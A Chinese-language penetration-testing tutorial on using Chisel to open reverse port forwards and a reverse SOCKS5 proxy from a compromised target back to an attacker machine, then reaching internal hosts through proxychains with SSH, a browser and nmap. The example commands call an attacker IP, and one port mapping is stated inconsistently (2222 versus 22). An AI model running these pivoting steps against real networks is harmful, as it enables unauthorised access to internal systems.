使用Chisel建立端口转发与SOCKS5代理隧道
Chisel 是一款高效且功能强大的隧道工具,在渗透测试、内网穿透及网络安全领域应用广泛。
优点:
- 安全性:采用 SSH 加密,确保通信数据的安全性。
- 稳定性:具备断开重连机制,可在连接中断后自动恢复,相较于类似工具(如 ew)更具稳定性。
- 跨平台支持:基于 Go 语言开发,兼容多个操作系统。
- 轻量便携:单一可执行文件,无需额外依赖,便于快速部署和使用。
本文将详细介绍如何使用 Chisel 进行 端口转发(暴露指定端口给外部访问)和 SOCKS5 代理(通过代理访问内网)两种常用操作。
Chisel 基础概念
Chisel 是一个基于 WebSocket 的端口转发工具,能够在 NAT 或防火墙环境下建立一个反向隧道,将内网服务暴露到外网或其他网络中。Chisel 主要有以下两种工作模式:
- 特定端口转发:用于将内网的某个特定端口(如 SSH、HTTP、MySQL)暴露给外部,以便访问单一服务。
- SOCKS5 代理:通过 SOCKS5 代理,可以访问整个内网,包括多个服务和主机。
这些功能常见于渗透测试、红队行动、内网穿透等场景,特别适用于突破复杂的网络安全防护。
下载并安装 Chisel
在进行渗透测试之前,首先需要确保攻击机和目标机上都安装了 Chisel。幸运的是,Chisel 提供了编译好的二进制文件,用户无需自己进行编译,只需下载对应操作系统的版本即可。
具体步骤如下:
-
访问 Chisel GitHub 页面,下载适合操作系统的版本,并确保攻击机和靶机使用相同的版本。
-
对于 Kali 系统,可使用
wget
直接下载编译好的二进制文件:
wget https://github.com/jpillora/chisel/releases/download/v1.7.2/chisel_1.7.2_linux_amd64.gz
gunzip chisel_1.7.2_linux_amd64.gz
chmod +x chisel_1.7.2_linux_amd64
mv chisel_1.7.2_linux_amd64 /usr/local/bin/chisel
我选择使用 Chisel 1.7.2 版本,因为它是兼容旧版 Windows 系统的最后一个稳定版本。你也可以选择下载 1.9.1 或更新版本。
下载安装完成后,接下来将详细介绍如何使用 Chisel 进行端口转发和 SOCKS5 代理配置。
用途一:特定端口转发
特定端口转发 是 Chisel 最基本的应用方式,适用于将目标机器的某个特定端口(如 SSH、HTTP、MySQL)暴露给攻击机或外部设备。此方法适合只需要访问单一服务的场景。
步骤 1:启动 Chisel 服务器(攻击机)
在攻击机(例如 Kali)上启动 Chisel 服务器,并监听指定端口,等待来自客户端的连接:
chisel server -p 2022 --reverse
-p 2022
:服务器监听的端口为2022
,客户端将连接到该端口。
--reverse
:启用反向端口转发功能,允许客户端将内网端口暴露到外网。
步骤 2:启动 Chisel 客户端(目标机)
在目标机(即已被渗透的机器)上启动 Chisel 客户端,将内部端口(如 2222
端口)暴露给攻击机:
./chisel client 192.168.56.100:2022 R:2222:127.0.0.1:2222
192.168.56.100:2022
:Chisel 服务器的 IP 和端口。
R:2222:127.0.0.1:22
:将目标机的127.0.0.1:2222
暴露到攻击机的2222
端口。
步骤 3:通过攻击机访问目标服务
现在,可以通过攻击机访问目标机的 SSH 服务:
ssh root@localhost -p 2222
通过
localhost:2222
访问的实质是目标机上的127.0.0.1:2222
。
用途二:反向 SOCKS 代理
在渗透测试中,攻击机的目标是访问受害者所在的内网,因此需要在攻击机上启动 Chisel 服务器,并让目标机主动建立反向连接,将内网资源暴露出来,同时在攻击机上创建 SOCKS5 代理。
通过这种方式,攻击机可以像访问外网一样,访问目标机的内网资源。以下是具体操作步骤:
步骤 1:在攻击机上启动 Chisel 服务器
攻击机(外网服务器)启动 Chisel 并监听端口 2022
,等待目标机连接:
chisel server -p 2022 --reverse
步骤 2:在目标机上启动 Chisel 客户端并创建 SOCKS5 代理
在目标机(内网机器)上执行以下命令,让其主动连接攻击机,并提供 SOCKS5 代理服务:
./chisel client 192.168.56.100:2022 R:socks
R:socks
:目标机会将其所在的整个内网通过 SOCKS5 代理暴露给攻击机,攻击机的127.0.0.1:1080
端口即为代理入口。
步骤 3:配置 Proxychains 以使用 SOCKS5 代理
在攻击机上编辑 /etc/proxychains.conf
,确保添加或修改以下内容:
socks5 127.0.0.1 1080
这里的
127.0.0.1:1080
是 Chisel 默认的 SOCKS5 代理端口,不是服务器监听的2022
端口。
步骤 4:通过 Proxychains 访问目标内网
- 连接目标内网主机的 SSH
proxychains ssh root@10.10.10.20
- 访问目标 Web 服务
proxychains firefox http://10.10.10.20
- 扫描目标内网存活主机及常见端口
proxychains nmap -sT -Pn -p22,80,3389 10.10.10.0/24
总结
方案 | 步骤 | 命令 |
---|---|---|
特定端口转发 | 启动 Chisel 服务器 → 启动客户端转发特定端口 → 通过本地端口直接访问目标服务 | chisel server -p 2022 --reverse ./chisel client 192.168.56.100:2022 R:2222:127.0.0.1:22 |
SOCKS5 代理 | 启动 Chisel 服务器 → 启动客户端暴露 SOCKS5 代理 → 配置 Proxychains → 使用 Proxychains 访问内网资源 | chisel server -p 2022 --reverse ./chisel client 192.168.56.100:2022 R:socks socks5 127.0.0.1 1080 (Proxychains 配置) |
通过以上两种方式,Chisel 能够帮助渗透测试人员有效地突破网络隔离,通过隧道代理访问内网服务。